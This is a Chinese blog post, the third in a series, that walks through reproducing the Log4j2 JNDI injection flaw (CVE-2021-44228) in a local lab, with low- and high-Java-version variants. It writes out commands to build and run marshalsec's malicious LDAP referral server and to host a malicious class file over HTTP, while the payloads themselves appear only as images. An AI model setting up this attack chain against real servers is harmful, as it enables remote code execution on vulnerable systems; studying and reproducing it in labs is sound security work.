Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

系列文章

2.15.0之前版漏洞相关文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

2.15.0版漏洞相关文章

Log4j2中2.15.0版存在的漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)

2.16.0版漏洞相关文章

Log4j2中2.16.0版中DOS攻击(CVE-2021-45105)的漏洞原理、复现步骤和修复方法(2.17.0修复原理)

一、前言

通过如下前面两篇文章,我们已经熟悉了Log4j2本次漏洞的基本原理。接下来我们就一起来基于该漏洞对服务器进行攻击。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121939902

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下基本方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理https://blog.csdn.net/hilaryfrank/article/details/121920264

二、Log4j2漏洞复现步骤(攻击方法)

1、基础环境说明与搭建

通过上述原理分析可知,我们主要涉及到三个系统:被攻击服务、恶意Ldap服务和恶意Codebase服务。

A、被攻击服务搭建

这个服务比较简单,只需部署一个简单的web工程,然后要引入log4j2(2.15.0以下版本)打印日志。然后编写一个简单的Controller将接口传入的参数通过日志打印出来即可。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第1张图片

B、恶意Ldap服务搭建

搭建Ldap服务有两个途径:自己使用ldapsdk的jar包实现一个ldap服务,或者使用现成的marshalsec实现。

这里我们选择使用现成的marshalsec实现。

首先我们从github上克隆该代码(https://github.com/mbechler/marshalsec)

然后再工程根目录下执行mvn clean package -DskipTests对进行编译打包。

完成之后执行如下指令,在9999端口上启动该ldap服务:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

开启之后会看到如下日志。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第2张图片​ C、恶意Codebase服务搭建

这个服务比较简单,只需要在请求的时候,能够具体返回该请求对应的Class文件即可。

于是我们编写恶意代码Test.java,然后使用javac将其编译成Class文件。

然后我们在该目录执行python3 -m http.server 8888,在端口8888上基于该目录启动一个简单的http服务。当我们访问http://localhost:8888/Test.class的时候,该服务就会返回该目录下对应的Class文件。

2、Java低版本的复现步骤

现在我们开始执行恶意攻击。我们调用attack接口传入如下参数:

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第3张图片

接着我们在Ldap的服务端可以看到如下日志,其表示其告诉客户端到Codebase去获取它需要的Class文件。

同时在Codebase的服务端可以看到如下日志。 标记了被攻击服务端来请求Test.class的记录和状态。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第4张图片

 然后电脑就会弹出文件管理器。至此攻击完成。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第5张图片

3、Java高版本的复现步骤

通过攻击原理我们知道,高版本攻击我们不依赖Codebase服务。但是我们需要Ldap服务器返回ELProcessor相关的类。所以我们需要对marshalsec源码进行修改。然后重新编译打包再启动服务。

因为咱们攻击依赖的ELProcessor和BeanFactory存在Tomcat包中。所以我们需要在marshalsec工程中引入Tomcat依赖。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第6张图片

 然后需要将LDAPRefServer类中的方法sendResult修改为如下内容:

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第7张图片

然后我们通过mvn clean package -DskipTests对其进行重新编译打包。并通过java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999启动即可。(其实http://localhost:8888/#Test是Codebase地址我们没有使用,但是因为我们没有修改启动逻辑,所以仍然需要传递)

一切就绪之后,我们通过调用attack接口实现攻击了。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第8张图片

执行完成后,同样电脑就会弹出文件管理器。至此攻击完成。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_第9张图片

三、惯例

如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。

系列文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

你可能感兴趣的:(技术分享,源码分析,数据库,网络,安全,log4j2,安全漏洞)